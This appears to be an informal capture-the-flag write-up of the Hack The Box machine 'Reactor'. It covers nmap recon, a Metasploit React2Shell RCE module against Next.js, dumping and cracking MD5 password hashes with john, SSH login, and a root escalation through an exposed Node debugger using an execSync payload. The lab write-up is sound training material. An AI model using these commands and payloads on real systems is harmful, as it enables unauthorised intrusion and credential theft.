Reactor - HTB
Reconnaissance:
We first run some basic nmap to see what’s responding on the server. We get SSH and an app on port 3000. We add the ip to our /etc/hosts file, in case we need to do some fuzzing later. Ran whatweb and curl -I to try and find the nextJS version, so i can go and find an exploit that will enable me to take a foothoold. Opted to start scanning the content of javascript chunks with a regex for version number.
nmap -sV -v 10.129.245.214
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.99%I=7%D=6/10%Time=6A29B37B%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1518,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Wed,\x2010\x20Jun\x202026\x2018:56:58\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Wed,
SF:\x2010\x20Jun\x202026\x2018:56:59\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Wed,\x2010\x20Jun\x202026\x2018:56:59\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
curl -s “http://10.129.245.214:3000/_next/static/chunks/517-d083b552e04dead1.js” | grep -oE ‘“[0-9]+.[0-9]+.[0-9]+”’
“15.0.3”
Exploit:
Looking around i found that this server is vulnerable to React2Shell and msfconsole had a module for it: multi/http/react2shell_unauth_rce_cve_2025_55182. So we launched to module and we are dropped into a shell as the user node, were the application is located (/opt/reactor-app/). In this folder theres a reactor database so we run it with:
sqlite3 reactor.db
Next we check our tables.
.tables
sensor_logs users
Now we grab the content of the users table.
SELECT * FROM USERS; > 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Cracking:
Now that we got some credentials with some hashed password we’re going to run them against a dictionary and attempt to get some credentials to work with. Couldn’t crack the admin password but we got ourselves the credentials for engineer/reactor1.
echo “39d97110eafe2a9a68639812cd271e8e” > hash && john –wordlist=/usr/share/wordlists/rockyou.txt hash –format=Raw-MD5
reactor1
Foothold:
Now that we have some credentials we can login using SSH. Once inside we read the user.txt sitting in our home directory. After that, we start looking around again, in /opt/ we now find a uptime monitor app and looking inside the folder with ls -la we see that the worker.js file located in /opt/uptime-monitor/ has root privileges.
ssh engineer@10.129.245.214
reactor1
user flag
5f23d65587e6564c47708b11d24de558
cat worker.js
const http = require('http');
const fs = require('fs');
const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
const TIMEOUT_MS = 10_000;
function csvEscape(value) {
const s = String(value ?? '');
return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}
function record({ status, latency, size, error }) {
const row = [
new Date().toISOString(),
status ?? '',
latency ?? '',
size ?? '',
error ?? '',
]
.map(csvEscape)
.join(',') + '\n';
fs.appendFileSync(CSV_FILE, row);
}
function probe() {
const start = process.hrtime.bigint();
let bytes = 0;
const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
res.on('data', (chunk) => {
bytes += chunk.length;
});
res.on('end', () => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
record({
status: res.statusCode,
latency: latencyMs,
size: bytes,
});
});
});
req.on('error', (error) => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
record({
latency: latencyMs,
error: error.code || error.message,
});
});
req.on('timeout', () => {
req.destroy();
record({
latency: TIMEOUT_MS,
error: 'TIMEOUT',
});
});
}
setInterval(probe, INTERVAL_MS);
probe();
console.log('uptime-monitor up, pid=' + process.pid);
ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 0 511 :3000 :*
Root escalation:
After verifiyng what nexjs puts on port 9229, i find that it is a debugger that has root privileges. We try to call the debugger with node inspect and it works so we use the exec and execSync to cat /root/root.txt and we have our root flag. hacktricks
noode inspect 127.0.0.1:9229
debug> We are now using the debugger with root access.
exec(“process.mainModule.require(‘child_process’).execSync(‘cat /root/root.txt’).toString()”)
Root flag:
550e3509d7c236c2c718c9b5865ab58b